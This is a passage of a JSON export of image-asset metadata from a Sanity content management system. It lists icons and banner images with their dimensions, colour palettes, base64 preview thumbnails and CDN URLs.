eSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"user-square.svg","path":"images/sczeoy4w/production/8a5ec8907436bf850667a48435eec6ee404d7dc9-24x24.svg","sha1hash":"8a5ec8907436bf850667a48435eec6ee404d7dc9","size":1176,"uploadId":"GOrktmLJ5P1U8mK8y75WoTDtunZmgSAe","url":"https://cdn.sanity.io/images/sczeoy4w/production/8a5ec8907436bf850667a48435eec6ee404d7dc9-24x24.svg"} {"_createdAt":"2024-03-22T12:57:22Z","_id":"image-5be7cc756013590346738758b8841d5587699d01-1200x628-png","_rev":"FsdEUX6qPquRWP6V14oFJ8","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T12:57:22Z","assetId":"5be7cc756013590346738758b8841d5587699d01","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPONOgR=ROxu-?n$t8RiWXo#_NROWCWCRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACG0lEQVQokUWSO2/aUACF/fc6d2rHbhnaqWqHtF3aqIq6th2qVpGy9CGl5AEG88Y8QxzAYBs/ML42vvf6AZgkOFg4mAoSqdKno6MznOUcQlDnSXpwGGP+xCrFeLaQbrQ417BW0Fmb9gPQWSN3hWx/oJo9TpZVhMaBM4sIzVyyoperg1SmXU1VShmGYS2AQuhEpr0BOmvoRAD6PCfSidjR9y9k7K8gAjxeEjoKZW3e4txaUz+vy/WGynRtUb1RwK009KWhPxwFBg77Ci5Q5OH+7sedp58/vKlW6iPsE6LqNy5xvqLlytpG6WGurBVreqlmFCqgWNWZrquAOdfX02dHX9++eP3k0d7LnTxFmeiKYPuzHK2dUWIiI5FZOZ6+N1IisyGVV8rnsCt6ggzLhdyPT+92nz3ee/U8k6JMPCNa3JQqqMckf08swZ0khTOqf5rqx9NiuqhWL2BHmChgxvbk098/v+2//3Vw0O6IyA2INjfNFtXTJH9Mcickf5IU4pSYzMpkVqIKSvlcb/OupF1rps8rTrXGFfNNtquatm97K0IeXLeagC5JeVqhG3rjEl90nMvumGGdjjCRwY1hBWi8NPCiJ4+ZLmYFZzia40m4mWpkLkDf4tlRp4eFwdVwFGgwBFsM6w5PVs4scrwIjUOAblXT19ECuqHtbXIC2isTBYa5ADDQ8d122//fsCZr24usaWR70aZlW/RgZtE/U+3yfoYiNjYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#624739","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c173d","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad5","foreground":"#000","population":2.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad5","foreground":"#000","population":2.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb9555","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e45e44","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sensorflow-quote-1-final.png","path":"images/sczeoy4w/production/5be7cc756013590346738758b8841d5587699d01-1200x628.png","sha1hash":"5be7cc756013590346738758b8841d5587699d01","size":93195,"uploadId":"Ofr6STtde8biKx2p9K1Tw4KCMPtGBIdT","url":"https://cdn.sanity.io/images/sczeoy4w/production/5be7cc756013590346738758b8841d5587699d01-1200x628.png"} {"_createdAt":"2024-03-22T12:56:33Z","_id":"image-f0ec00cce9a3f33c7d36fcb0563c4950dc666817-1200x628-png","_rev":"FsdEUX6qPquRWP6V14oCFc","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T12:56:33Z","assetId":"f0ec00cce9a3f33c7d36fcb0563c4950dc666817","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPONOgWuV=t7-=n$t8RiWXtS~qRORkWXRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACE0lEQVQokT2Ry4/SUBhH+++5dqU7l7PQldGFoxudmIlLowsTnUSTiRod4nRgWsqzPFoeZSgFWvou3HtLS3kltBCgHQOMJidfzub3bQ7W1RYErX6L1X9eFHNXqWySbbRH/WEI3Vvg3AHdWzQKkeOrGhA6sqwh5C3dWYTpYN0Up2nGJJI3JaKYp+o1fmiiDXQj4NwB3ciCfrct0fHY788f4rGLrmTa3hqz0FYxg6Y4Zuv9KqNUKnqjPZINXzGXihEo1lKxAtUKOhLMEomvp8dvjx6+f3NcKpYHto/1tKDWdEs1QLP9bNHMlkyaHRSrgGYGNDMoVECBBSwHa5xM/vn18eWT5w/unTw9ypAEQHNMEOfZokVmVTKnERk1kZKv08p1Wk5Q8sGJjEozFscbdIb68u7Vi0f3T549pggS2DOs2Z0lczpOSnFKjlM9nJRwUrokxEtCxEkxTvXStFHjnZ4+4QUJ/3H+6fT197Ozm6aERiuM785SeR0nxCtSiielREpO7F/sXaLyCsNBUZ3rMOgobqnczmWqfEsDju9MQ0zRFzwHmLJWYAyWQ4221xDGXMtrCB4veh1log8WwF1b9lKQvXrL5ruuPljY480uFYCrfm8ktZEgurKxsNCmb28PAHdrj0NnGjrTyB5vDBRowLfQEo42zjTcjaETArTqg6UJV7vBv7aHvMNJ5EwjZ3/d2Z7/Mov+Am0o8roJmAFlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31395d","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#111d43","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad6","foreground":"#000","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad6","foreground":"#000","population":2.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96c74","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e97","foreground":"#fff","population":0.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e35d42","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sensorflow-quote-3-final.png","path":"images/sczeoy4w/production/f0ec00cce9a3f33c7d36fcb0563c4950dc666817-1200x628.png","sha1hash":"f0ec00cce9a3f33c7d36fcb0563c4950dc666817","size":96469,"uploadId":"6HnGAzAuRf8eAeEATYAN2Ibav739VxEz","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0ec00cce9a3f33c7d36fcb0563c4950dc666817-1200x628.png"} {"_createdAt":"2024-09-18T09:00:42Z","_id":"image-a877e319cbb3d1db32cd0c519722bca2683561e9-1920x400-png","_rev":"1OyjLnRDvuzO2Q4GjjIQUc","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T09:00:42Z","assetId":"a877e319cbb3d1db32cd0c519722bca2683561e9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D03SS:okfQokfQ#ff4fQf4fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":400,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQImWMQV0iEoSQwIp6dyCCmmE02YpBSqyIbMchpt5GNAH0yN0WhSrf0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#374071","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#747cac","foreground":"#fff","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1aadb","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74ac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202c94","foreground":"#fff","population":7.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test.png","path":"images/sczeoy4w/production/a877e319cbb3d1db32cd0c519722bca2683561e9-1920x400.png","sha1hash":"a877e319cbb3d1db32cd0c519722bca2683561e9","size":21641,"uploadId":"6D55BS7bcjVtoblODmiTnrU4ZeWn2aaJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/a877e319cbb3d1db32cd0c519722bca2683561e9-1920x400.png"} {"_createdAt":"2024-09-18T09:01:12Z","_id":"image-71b009e20ada736f2dd80d9f50c096f16aac9f06-1920x400-png","_rev":"YWHkZRhDz94HWGkESkS0XX","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T09:01:12Z","assetId":"71b009e20ada736f2dd80d9f50c096f16aac9f06","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5AdU0t800b100%Qj[V[fRWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":400,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAzUlEQVQImU2LsQqCQACGexaphkAPiez0prKloRaHGiIqtUJPjbDexKQ7KMdoqrwrfbvKCoKfn48PvpIAorK8qyl7USMA0c+kP5AQKf5nVFJT9hV5J4CoJIBIVEnXOI0XV9vn84BbHps6qYmZHfCZm06cm4mZ5XELMxOzkX3pGidRI99Y0mh/eLZ97m1yf5vjMFuu7m6Y+dvcWT8WBePN27thZrqsNzgDRL9xtR4DRJX2EXYStZNAPWm2j1B/c/PHsPBQTxqtA0C0Wo9f8RN4NmDpPbFERQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5298","foreground":"#fff","population":2.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14238b","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":51.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a3d4","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0d8","foreground":"#000","population":1.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626da9","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":51.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test 3.png","path":"images/sczeoy4w/production/71b009e20ada736f2dd80d9f50c096f16aac9f06-1920x400.png","sha1hash":"71b009e20ada736f2dd80d9f50c096f16aac9f06","size":16976,"uploadId":"VKC3MeLPCfOLEg8TxMfjCww8v5n9QSJV","url":"https://cdn.sanity.io/images/sczeoy4w/production/71b009e20ada736f2dd80d9f50c096f16aac9f06-1920x400.png"} {"_createdAt":"2024-03-11T09:30:28Z","_id":"image-ed21ee3029f8c375ef838104d12736645cc83337-2644x392-png","_rev":"YZDTfZCd9Sx4xq41jbj835","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T09:30:28Z","assetId":"ed21ee3029f8c375ef838104d12736645cc83337","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"406kVC_300xuIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.744897959183674,"height":392,"width":2644},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAhklEQVQImTXMCwqFIBAAwC5jfvahKGLgrhUR6Fp0/+MEPpoDzGStDSE45wDAGAOD+fw+AKAHpZSUcp5nIcSktY4x5pwRkYjWdS2l4EBEpZR937dtQ8SUUowxhGCt/Y+TlCqldBxHrZWZr+ti5lpra42Ze+/P89z3fZ4nEeWcl2Xx3jvnvPcvfwYl+rFUxEwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":13.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":13.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717171","foreground":"#fff","population":5.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"photos-tsv.png","path":"images/sczeoy4w/production/ed21ee3029f8c375ef838104d12736645cc83337-2644x392.png","sha1hash":"ed21ee3029f8c375ef838104d12736645cc83337","size":79862,"uploadId":"HonBlyR01MAfAGYnamWtIzCSbXXISZW5","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed21ee3029f8c375ef838104d12736645cc83337-2644x392.png"} {"_createdAt":"2024-03-11T09:32:18Z","_id":"image-0d21d2995a02f56e03e6190c822177072163ad8c-1567x844-png","_rev":"YZDTfZCd9Sx4xq41jbjAnh","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T09:32:18Z","assetId":"0d21d2995a02f56e03e6190c822177072163ad8c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD8XS6xsMvs:WC?wk8RikDR*ITRkt7oMad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdUlEQVQokSWPeU/acABA+wkEWnrx6wW0HFNBSUzGtgADFbEg0EPKZTkqaJk44gzOW/GIx6Ko0UXd9lV3Je/fl5cHIY5Fgis5nBWcrRJczeFqAd4Ewhrl6dH+TW502zW27xo7YN98BXwX8B0gdHDOQEDJgquQ06eHY73YbP9dbPNttP8hsReZPQrHD8OJQXz+KpkbTmfuonO3keRVdHYwLQ7i86dTkT1vsIsxOuQZb86I21n1OCMfp3IDUTrPqJeifJ1RbpTyY6n+WtB/5LTnbOFBLt1Umg+V5ksqfzcRPgDCZ2h0sp3K7knaiVw8zy2ei/kzUb6Qy0NNf1SrT8XaS7nxq6D/zBcf0/J1Wv6W074n0kN/6IjyHkCjoXYyvbOgHGXVkwXlLJU7TcuXSnmolO6zi/dS6UmpvuaKzzOZm4nwjie44Q/1PcEvQOiR/Nbf56n33ehMP5bcjiV3P84dJhfOUrnLhHiREK9T0l1KeoiLt1ORAeNdQ6gaAqowqCJUA2NNCHaoOFui+SXG02A8Laff5MfXhcCGe2yTD2x5J3d9oUMhuM/6NzDWsDkqMND/gzJtyIJJFky24qqV0GxkBQZ1hDZQZgVlOyhroqyJOddxZw9lTRjoNrJsp1sou4pQDYRqQgSZ5xiVE6qAr6G0joC6nV5GmVWUNRHagEENoZsos2Knl21kxUoWUaaNsqswWLISGuRipICgBSaWhfE26WygTANjWzjXwZ2fUMaAQQWhqihj2OmGlShaicK/Zt1CFEYwCWKcmosvuX01ztukeAMIbdrTYbxd1tejPWsOt+FwG4A3MbZpJQoWXLWRZStZHMGVP/Jvcu2xODxuIU0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e5c","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989dc6","foreground":"#000","population":1.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ebf5","foreground":"#000","population":7.89,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697090","foreground":"#fff","population":1.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba494c","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"opensearch_multimodal_search.png","path":"images/sczeoy4w/production/0d21d2995a02f56e03e6190c822177072163ad8c-1567x844.png","sha1hash":"0d21d2995a02f56e03e6190c822177072163ad8c","size":143605,"uploadId":"XXmpLhjPbNfsGLrVRBxLdkO6rIe4n2cx","url":"https://cdn.sanity.io/images/sczeoy4w/production/0d21d2995a02f56e03e6190c822177072163ad8c-1567x844.png"} {"_createdAt":"2024-03-11T09:30:28Z","_id":"image-d4730060d21aef5fcf0919ea4c39903beb0e6ea8-1710x1516-png","_rev":"YZDTfZCd9Sx4xq41jbj8DU","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T09:30:28Z","assetId":"d4730060d21aef5fcf0919ea4c39903beb0e6ea8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDA^OHs:00X9%MNwazxZoKR+00R*_Ns:MxQ-tQXTM{xZ.SofIAWqkX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1279683377308707,"height":1516,"width":1710},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAABYlAAAWJQFJUiTwAAADYElEQVQ4jY2TWW8bVRTH52NUnn3u3G3GnvEytoMTd+I9eInjuNmKqSOXkKbNUsV1E7cOTUnaElSWVgqIlEBK0rRVWoQqFvGEBBLwQEuIAi8kgY+C3NIkD0Xir6tzj3TvT+evc+5lFEVBCBFKCSUYY1mWxf8tRlVVTdMM0zBNU9d1oABp//BZJjwNLxKjAKhChCmlmkYIgqqqyLLQvMzzzxbPcRzHvkiMomKgQqJRTdc0vWkfQihKIi9wPM/xwn+SLMsyAFFMqctwuQyn7tQ0XaOUYty0AABQVVWFsBmbe1P7CYSQAUhzOp0+j9vyeb1ej9frCQYs2z6a6Egl0+lUJpPKpNsjkVDopWg8Fk0mfH4/pZSQZncZFWt+r6cjGSsWC92FzmI+W+rrrtdrNz9e+mj9zq17dxc/W2nMzoyfeX1+4crld67nikWEsSRJsiwzANJQwF8ZPHFh5mJ9arI2capxbnR9bfnn7c0neztP9nZ+3N5aXb99Y2H27sad5Y37feUyREgQmjNgJIADPm+5dPzcVK0xPXl5euJao/rg3srjP7Z++3tv86/dn7a3VlY/uVAdm6qfP12t2vGEAtR/5ywBbOh61A7nc5nx4cG336i+Nzf9+f2Vx7//urn75y+7Oz9sby0uL3V15T2+gG76VNT0fABjiEyn3hqwTg/2vT8/feNq48Ha0vffffX1N198+e2jjUcPL83Nttu2KMgcf/j1iIykYElSgKz4XHqlJzNfG3nz/NjNazPrH761ev3i7SuTi5fOTg4Pxo+GXYQ4CSYQSpIkPIeRICqiKJuU9CbDowO54b78eLn33frI2tzYrbMDC0OFMwOd7aGgjjCFKgTgwLYMMFAxQsSkNBv2v5Ju77Rbsm2B0f7cB/VTn9ZfmyvnSsm2oNuAAEqS/NTzIRhhjWpOF6WJkNWbicdbLD9SUl59ojt2dahQ63+5lInFI5FgS5vpsRAmhxqmIFECCoAUE9vvzcdt23KbshhUxbhJehLhSqm/cvJkz/FXs4XeWDJtuD3735YRZehgeYeDkyXg1rRWj2FiqAoCEkUXoZF4amBopLcy3NF1LJXNRxMpw3AfVBZlyLL8kSOsg+WBrDgRRJLEOTiW4yGmrdFEsnAsaEedhtvnsywrQAh5zor/AIw3D8WTxRO4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32435e","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64281a","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cabfb1","foreground":"#000","population":1.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabfb1","foreground":"#000","population":1.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eccc9c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#768994","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc8056","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"example.png","path":"images/sczeoy4w/production/d4730060d21aef5fcf0919ea4c39903beb0e6ea8-1710x1516.png","sha1hash":"d4730060d21aef5fcf0919ea4c39903beb0e6ea8","size":543219,"uploadId":"CuAm3AVDRNjy6HzGan0MTL7EjXpyxVZY","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4730060d21aef5fcf0919ea4c39903beb0e6ea8-1710x1516.png"} {"_createdAt":"2024-01-15T10:35:35Z","_id":"image-3c591db4ced8d4a6b261f9512e556817a2cd6a01-4000x4549-png","_rev":"euNyMp0PxO0c9O64E77ao2","_type":"sanity.imageAsset","_updatedAt":"2024-01-15T10:35:35Z","assetId":"3c591db4ced8d4a6b261f9512e556817a2cd6a01","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e00loCjuJfa_a_a{a{fPjujuN;a{sYjujvfQjufPa_juSIa{sXjufQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8793141349747197,"height":4549,"width":4000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAYAAAALHW+jAAAACXBIWXMAAMZ1AADGdQHZLUcmAAACSUlEQVQ4jbVTPWtVQRScpwkIfswYg2cELZIQFKsYEIONYqEiFoIIYiUoNqmEpBBLC80vUAsRwU6xVwTFCOIXsbcwFkJAJIKNYCN77768e19WBSELw567e3bu7JmzwFoPwRWY5xKae38cQlSJJSIi/kEeJcI2QTexR9aLmz9gjgtk3eTuYXcEbxS8k/DuhBTntU43X/lMIm4Rtv/qQcGjgs8KnhN8jxViLq+NCjHYK0/0E0YT6wSPC74i+BXhJcLfEgQv5bW0N84qtz6XyFdG24jYKvii4HeClwUvEH6gGgt57X3KYZVbq2sR9hmyl/DdfPANEdNC7BM8oSr2ayKS2jspV41S9dWwUpeM2C/4vuAPRFwnYqzneipF3CJimfAzwYcIrysQrhzoEN5F+LTgC4QPCt4mBInYnB2/KsRHwU8EHyG8viuo6DLhgdwaFDwm+BThadbuThI+ScQ1wpcF70kKV/Vi0/p6s5otxCUhnhLxNl1fiImkmLXSHYQ3dHuw2Ie5VqmO2wmfJ/xc8BciHhI+IXhT+zbRejGrXM7qJPiM4MeCvwqez200klqKiCHBQ0JsUf0AVrvcVEfEZP0y4rvgH6pV3hBiVogZwrOCZwSfI2JE2eViYyfHiDgq+IXgX0T8JCKp/Cx4kYhFVfAnIh4JPqzscp/CFdmJcIrwTdak6brzhF8WcFvwVJGwUYd05eFEKvh4jUjzMVaIjOr7AOHh/BjKhL06JqVVPw4QUc3NOO3lnE7T6cLT+z90z5ZcbsSl77/nrMn4DcgzgBVYFmb4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":83.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12041c","foreground":"#fff","population":2.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":83.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#561385","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c48aee","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#561385","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f1fdf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"TV2.png","path":"images/sczeoy4w/production/3c591db4ced8d4a6b261f9512e556817a2cd6a01-4000x4549.png","sha1hash":"3c591db4ced8d4a6b261f9512e556817a2cd6a01","size":109449,"uploadId":"2r9m1LzNo9BTb5T8TvJkBlxLTO7jqZTX","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c591db4ced8d4a6b261f9512e556817a2cd6a01-4000x4549.png"} {"_createdAt":"2024-09-16T17:13:20Z","_id":"image-7b80471b3170db36990b68148f913ef892aa477b-24x24-svg","_rev":"ebFUNpMndz2LKq7K781iRm","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:13:20Z","assetId":"7b80471b3170db36990b68148f913ef892aa477b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e04LUYfQ00fQ00fQ~qfQRjfQD%fQxufQM{fQIUfQIUfQ00fQ%MfQIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTElEQVQ4jYWVP2sUURTFJ1mF/LFMky0kTRJcdt/vZjYEt5AELFKIlWAn6OcQskXAb2AQTJc2pEsWbA0WKfwE6awt08sZzxuf2V0dGGa5791zz3v33LPVYDCodnd3q36/XwFVXdfV1tZWpScimpi+o9Go/T3rBZqcajgcVr1er9rZ2WlAU0qdlNJKSmkppbSQNxevYksRsQx0StDmEUNtFCDwEHgCvAZeAOsCzeyd+CginkWE1ru5UAtYMBBYHxgD18Al8E5JZrrgfesRMY6IzxGxV15D8yiQUspgR8B34A74CUyAt2bacfJj4CQiriJif4qhqgObwHvgC3AD/ABugW/AOfAGWDOTfwMCi8Bz4BT4CBwDX4ELH/8M+ABszwKMQgn5DsWwB7wCRsBLH/UT8BQ4dCw3IANOMmCUsim6K6noe+DNJ8CGY6sR8SADam0uYF3XbSClpN8HZqgkscnrWZMtQxWv67rJa49dgmkxM1SS2ZRg7R2qqIqnAkz5rXQKxe8XR84MddxVH38jH1nF0+/Yiq5N1zcXMDP0vXXdmEM3Sg2bODZyQ3tq8JQJGPAq36HXti2dM0vpwtI6ttROLb3F++M3D3DN4j632G8t/hsPg4ZiU0PyX0A3TGO37jGceCzvPKZHGlvf5R+DKI6958EfG6QRv0e0a8O4tIGM7QEN2CzHaRoga7JFyaqauL1SoCoi65LFyeqa7mqPrPAvhk6WaS7LRKW/0ly1LlCbryaro0IClEnLrGfJZsraZf/3TUB/Ex6Ehr3+RsTwF4qnHtR/R976AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":8.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":8.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"switch-vertical-01.svg","path":"images/sczeoy4w/production/7b80471b3170db36990b68148f913ef892aa477b-24x24.svg","sha1hash":"7b80471b3170db36990b68148f913ef892aa477b","size":259,"uploadId":"e57SIPcKYYYF8voZSn7cs0GT4oKmXlte","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b80471b3170db36990b68148f913ef